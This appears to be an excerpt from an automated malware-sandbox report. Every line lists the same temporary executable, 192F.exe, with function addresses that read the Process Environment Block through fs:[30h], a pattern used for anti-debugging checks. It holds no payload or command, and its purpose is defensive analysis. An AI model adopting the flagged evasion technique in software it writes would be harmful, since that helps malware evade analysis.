Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94C9BF mov eax, dword ptr fs:[00000030h]	29_2_6A94C9BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94C9BF mov eax, dword ptr fs:[00000030h]	29_2_6A94C9BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9EF1B5 mov eax, dword ptr fs:[00000030h]	29_2_6A9EF1B5
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9EF1B5 mov eax, dword ptr fs:[00000030h]	29_2_6A9EF1B5
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov ecx, dword ptr fs:[00000030h]	29_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov ecx, dword ptr fs:[00000030h]	29_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov eax, dword ptr fs:[00000030h]	29_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov ecx, dword ptr fs:[00000030h]	29_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov ecx, dword ptr fs:[00000030h]	29_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov eax, dword ptr fs:[00000030h]	29_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov ecx, dword ptr fs:[00000030h]	29_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov ecx, dword ptr fs:[00000030h]	29_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov eax, dword ptr fs:[00000030h]	29_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov ecx, dword ptr fs:[00000030h]	29_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov ecx, dword ptr fs:[00000030h]	29_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF mov eax, dword ptr fs:[00000030h]	29_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9461A0 mov eax, dword ptr fs:[00000030h]	29_2_6A9461A0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9461A0 mov eax, dword ptr fs:[00000030h]	29_2_6A9461A0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D49A4 mov eax, dword ptr fs:[00000030h]	29_2_6A9D49A4
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D49A4 mov eax, dword ptr fs:[00000030h]	29_2_6A9D49A4
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D49A4 mov eax, dword ptr fs:[00000030h]	29_2_6A9D49A4
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D49A4 mov eax, dword ptr fs:[00000030h]	29_2_6A9D49A4
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9299C7 mov eax, dword ptr fs:[00000030h]	29_2_6A9299C7
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9299C7 mov eax, dword ptr fs:[00000030h]	29_2_6A9299C7
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9299C7 mov eax, dword ptr fs:[00000030h]	29_2_6A9299C7
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9299C7 mov eax, dword ptr fs:[00000030h]	29_2_6A9299C7
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91B1E1 mov eax, dword ptr fs:[00000030h]	29_2_6A91B1E1
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91B1E1 mov eax, dword ptr fs:[00000030h]	29_2_6A91B1E1
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91B1E1 mov eax, dword ptr fs:[00000030h]	29_2_6A91B1E1
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9131E0 mov eax, dword ptr fs:[00000030h]	29_2_6A9131E0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A41E8 mov eax, dword ptr fs:[00000030h]	29_2_6A9A41E8
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E89E7 mov eax, dword ptr fs:[00000030h]	29_2_6A9E89E7
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E9ED mov eax, dword ptr fs:[00000030h]	29_2_6A91E9ED
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919100 mov eax, dword ptr fs:[00000030h]	29_2_6A919100
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919100 mov eax, dword ptr fs:[00000030h]	29_2_6A919100
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919100 mov eax, dword ptr fs:[00000030h]	29_2_6A919100
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A920100 mov eax, dword ptr fs:[00000030h]	29_2_6A920100
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A920100 mov eax, dword ptr fs:[00000030h]	29_2_6A920100
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A920100 mov eax, dword ptr fs:[00000030h]	29_2_6A920100
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913138 mov ecx, dword ptr fs:[00000030h]	29_2_6A913138
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94513A mov eax, dword ptr fs:[00000030h]	29_2_6A94513A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94513A mov eax, dword ptr fs:[00000030h]	29_2_6A94513A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A934120 mov eax, dword ptr fs:[00000030h]	29_2_6A934120
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A934120 mov eax, dword ptr fs:[00000030h]	29_2_6A934120
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A934120 mov eax, dword ptr fs:[00000030h]	29_2_6A934120
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A934120 mov eax, dword ptr fs:[00000030h]	29_2_6A934120
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A934120 mov ecx, dword ptr fs:[00000030h]	29_2_6A934120
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91395E mov eax, dword ptr fs:[00000030h]	29_2_6A91395E
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91395E mov eax, dword ptr fs:[00000030h]	29_2_6A91395E
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93B944 mov eax, dword ptr fs:[00000030h]	29_2_6A93B944
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93B944 mov eax, dword ptr fs:[00000030h]	29_2_6A93B944
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91B171 mov eax, dword ptr fs:[00000030h]	29_2_6A91B171
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91B171 mov eax, dword ptr fs:[00000030h]	29_2_6A91B171
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8966 mov eax, dword ptr fs:[00000030h]	29_2_6A9E8966
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DE962 mov eax, dword ptr fs:[00000030h]	29_2_6A9DE962
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94DE9E mov eax, dword ptr fs:[00000030h]	29_2_6A94DE9E
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94DE9E mov eax, dword ptr fs:[00000030h]	29_2_6A94DE9E
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94DE9E mov eax, dword ptr fs:[00000030h]	29_2_6A94DE9E
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913E80 mov eax, dword ptr fs:[00000030h]	29_2_6A913E80
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913E80 mov eax, dword ptr fs:[00000030h]	29_2_6A913E80
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A2EA3 mov eax, dword ptr fs:[00000030h]	29_2_6A9A2EA3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9946A7 mov eax, dword ptr fs:[00000030h]	29_2_6A9946A7
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8ED6 mov eax, dword ptr fs:[00000030h]	29_2_6A9E8ED6
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9436CC mov eax, dword ptr fs:[00000030h]	29_2_6A9436CC
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9276E2 mov eax, dword ptr fs:[00000030h]	29_2_6A9276E2
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A953EE4 mov eax, dword ptr fs:[00000030h]	29_2_6A953EE4
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A953EE4 mov eax, dword ptr fs:[00000030h]	29_2_6A953EE4
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A953EE4 mov eax, dword ptr fs:[00000030h]	29_2_6A953EE4
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9416E0 mov ecx, dword ptr fs:[00000030h]	29_2_6A9416E0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A2E14 mov eax, dword ptr fs:[00000030h]	29_2_6A9A2E14
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91C600 mov eax, dword ptr fs:[00000030h]	29_2_6A91C600
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91C600 mov eax, dword ptr fs:[00000030h]	29_2_6A91C600
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91C600 mov eax, dword ptr fs:[00000030h]	29_2_6A91C600
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CFE3F mov eax, dword ptr fs:[00000030h]	29_2_6A9CFE3F
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94C63D mov eax, dword ptr fs:[00000030h]	29_2_6A94C63D
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91A63B mov eax, dword ptr fs:[00000030h]	29_2_6A91A63B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91A63B mov eax, dword ptr fs:[00000030h]	29_2_6A91A63B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A950E21 mov eax, dword ptr fs:[00000030h]	29_2_6A950E21
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A995623 mov eax, dword ptr fs:[00000030h]	29_2_6A995623
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A995623 mov eax, dword ptr fs:[00000030h]	29_2_6A995623
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A995623 mov eax, dword ptr fs:[00000030h]	29_2_6A995623
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A995623 mov eax, dword ptr fs:[00000030h]	29_2_6A995623
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A995623 mov eax, dword ptr fs:[00000030h]	29_2_6A995623
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A995623 mov eax, dword ptr fs:[00000030h]	29_2_6A995623
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A995623 mov eax, dword ptr fs:[00000030h]	29_2_6A995623
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A995623 mov eax, dword ptr fs:[00000030h]	29_2_6A995623
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A995623 mov eax, dword ptr fs:[00000030h]	29_2_6A995623
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A6652 mov eax, dword ptr fs:[00000030h]	29_2_6A9A6652
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A943E70 mov eax, dword ptr fs:[00000030h]	29_2_6A943E70
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CF674 mov eax, dword ptr fs:[00000030h]	29_2_6A9CF674
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CE6C mov eax, dword ptr fs:[00000030h]	29_2_6A94CE6C
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CE6C mov ecx, dword ptr fs:[00000030h]	29_2_6A94CE6C
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A99AE60 mov eax, dword ptr fs:[00000030h]	29_2_6A99AE60
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A99AE60 mov eax, dword ptr fs:[00000030h]	29_2_6A99AE60
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A99AE60 mov eax, dword ptr fs:[00000030h]	29_2_6A99AE60
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A99AE60 mov eax, dword ptr fs:[00000030h]	29_2_6A99AE60
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92766D mov eax, dword ptr fs:[00000030h]	29_2_6A92766D
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	29_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	29_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	29_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov ecx, dword ptr fs:[00000030h]	29_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	29_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	29_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	29_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	29_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	29_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	29_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 mov eax, dword ptr fs:[00000030h]	29_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913FC5 mov eax, dword ptr fs:[00000030h]	29_2_6A913FC5
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913FC5 mov eax, dword ptr fs:[00000030h]	29_2_6A913FC5
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913FC5 mov eax, dword ptr fs:[00000030h]	29_2_6A913FC5
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94D7CA mov eax, dword ptr fs:[00000030h]	29_2_6A94D7CA
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94D7CA mov eax, dword ptr fs:[00000030h]	29_2_6A94D7CA
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9537F5 mov eax, dword ptr fs:[00000030h]	29_2_6A9537F5
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9437EB mov eax, dword ptr fs:[00000030h]	29_2_6A9437EB
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9437EB mov eax, dword ptr fs:[00000030h]	29_2_6A9437EB
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9437EB mov eax, dword ptr fs:[00000030h]	29_2_6A9437EB
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9437EB mov eax, dword ptr fs:[00000030h]	29_2_6A9437EB
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9437EB mov eax, dword ptr fs:[00000030h]	29_2_6A9437EB
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9437EB mov eax, dword ptr fs:[00000030h]	29_2_6A9437EB
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9437EB mov eax, dword ptr fs:[00000030h]	29_2_6A9437EB
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CDF1D mov ecx, dword ptr fs:[00000030h]	29_2_6A9CDF1D
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CDF1D mov eax, dword ptr fs:[00000030h]	29_2_6A9CDF1D
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944710 mov eax, dword ptr fs:[00000030h]	29_2_6A944710
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93F716 mov eax, dword ptr fs:[00000030h]	29_2_6A93F716
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9AFF10 mov eax, dword ptr fs:[00000030h]	29_2_6A9AFF10
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9AFF10 mov eax, dword ptr fs:[00000030h]	29_2_6A9AFF10
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94C707 mov eax, dword ptr fs:[00000030h]	29_2_6A94C707
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94C707 mov ecx, dword ptr fs:[00000030h]	29_2_6A94C707
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94C707 mov eax, dword ptr fs:[00000030h]	29_2_6A94C707
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916730 mov eax, dword ptr fs:[00000030h]	29_2_6A916730
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916730 mov eax, dword ptr fs:[00000030h]	29_2_6A916730
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916730 mov eax, dword ptr fs:[00000030h]	29_2_6A916730
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94E730 mov eax, dword ptr fs:[00000030h]	29_2_6A94E730
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93B73D mov eax, dword ptr fs:[00000030h]	29_2_6A93B73D
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93B73D mov eax, dword ptr fs:[00000030h]	29_2_6A93B73D
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914F2E mov eax, dword ptr fs:[00000030h]	29_2_6A914F2E
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914F2E mov eax, dword ptr fs:[00000030h]	29_2_6A914F2E
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A5F5F mov eax, dword ptr fs:[00000030h]	29_2_6A9A5F5F
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A5F5F mov eax, dword ptr fs:[00000030h]	29_2_6A9A5F5F
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A5F5F mov eax, dword ptr fs:[00000030h]	29_2_6A9A5F5F
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A5F5F mov eax, dword ptr fs:[00000030h]	29_2_6A9A5F5F
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A5F5F mov eax, dword ptr fs:[00000030h]	29_2_6A9A5F5F
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91A745 mov eax, dword ptr fs:[00000030h]	29_2_6A91A745
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94DF4C mov eax, dword ptr fs:[00000030h]	29_2_6A94DF4C
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942F70 mov eax, dword ptr fs:[00000030h]	29_2_6A942F70
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942F70 mov eax, dword ptr fs:[00000030h]	29_2_6A942F70
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942F70 mov eax, dword ptr fs:[00000030h]	29_2_6A942F70
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942F70 mov eax, dword ptr fs:[00000030h]	29_2_6A942F70
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942F70 mov eax, dword ptr fs:[00000030h]	29_2_6A942F70
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942F70 mov eax, dword ptr fs:[00000030h]	29_2_6A942F70
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942F70 mov eax, dword ptr fs:[00000030h]	29_2_6A942F70
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916F60 mov eax, dword ptr fs:[00000030h]	29_2_6A916F60
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916F60 mov eax, dword ptr fs:[00000030h]	29_2_6A916F60
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93E760 mov eax, dword ptr fs:[00000030h]	29_2_6A93E760
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93E760 mov eax, dword ptr fs:[00000030h]	29_2_6A93E760
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8F6A mov eax, dword ptr fs:[00000030h]	29_2_6A9E8F6A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CF6A mov eax, dword ptr fs:[00000030h]	29_2_6A94CF6A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CF6A mov eax, dword ptr fs:[00000030h]	29_2_6A94CF6A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91649B mov eax, dword ptr fs:[00000030h]	29_2_6A91649B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91649B mov eax, dword ptr fs:[00000030h]	29_2_6A91649B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91EC9B mov eax, dword ptr fs:[00000030h]	29_2_6A91EC9B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91EC9B mov eax, dword ptr fs:[00000030h]	29_2_6A91EC9B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	29_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	29_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	29_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	29_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	29_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	29_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	29_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	29_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	29_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	29_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	29_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	29_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]	29_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A911480 mov eax, dword ptr fs:[00000030h]	29_2_6A911480
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914CB0 mov eax, dword ptr fs:[00000030h]	29_2_6A914CB0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94D4B0 mov eax, dword ptr fs:[00000030h]	29_2_6A94D4B0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E9CB3 mov eax, dword ptr fs:[00000030h]	29_2_6A9E9CB3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8CD6 mov eax, dword ptr fs:[00000030h]	29_2_6A9E8CD6
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912CDB mov eax, dword ptr fs:[00000030h]	29_2_6A912CDB
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CCC0 mov eax, dword ptr fs:[00000030h]	29_2_6A94CCC0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CCC0 mov eax, dword ptr fs:[00000030h]	29_2_6A94CCC0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CCC0 mov eax, dword ptr fs:[00000030h]	29_2_6A94CCC0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CCC0 mov eax, dword ptr fs:[00000030h]	29_2_6A94CCC0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D14FB mov eax, dword ptr fs:[00000030h]	29_2_6A9D14FB
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CD4E1 mov eax, dword ptr fs:[00000030h]	29_2_6A9CD4E1
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8C14 mov eax, dword ptr fs:[00000030h]	29_2_6A9E8C14
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92FC01 mov eax, dword ptr fs:[00000030h]	29_2_6A92FC01
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92FC01 mov eax, dword ptr fs:[00000030h]	29_2_6A92FC01
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92FC01 mov eax, dword ptr fs:[00000030h]	29_2_6A92FC01
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92FC01 mov eax, dword ptr fs:[00000030h]	29_2_6A92FC01
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E740D mov eax, dword ptr fs:[00000030h]	29_2_6A9E740D
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E740D mov eax, dword ptr fs:[00000030h]	29_2_6A9E740D
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E740D mov eax, dword ptr fs:[00000030h]	29_2_6A9E740D
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	29_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	29_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	29_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	29_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	29_2_6A9D1C06
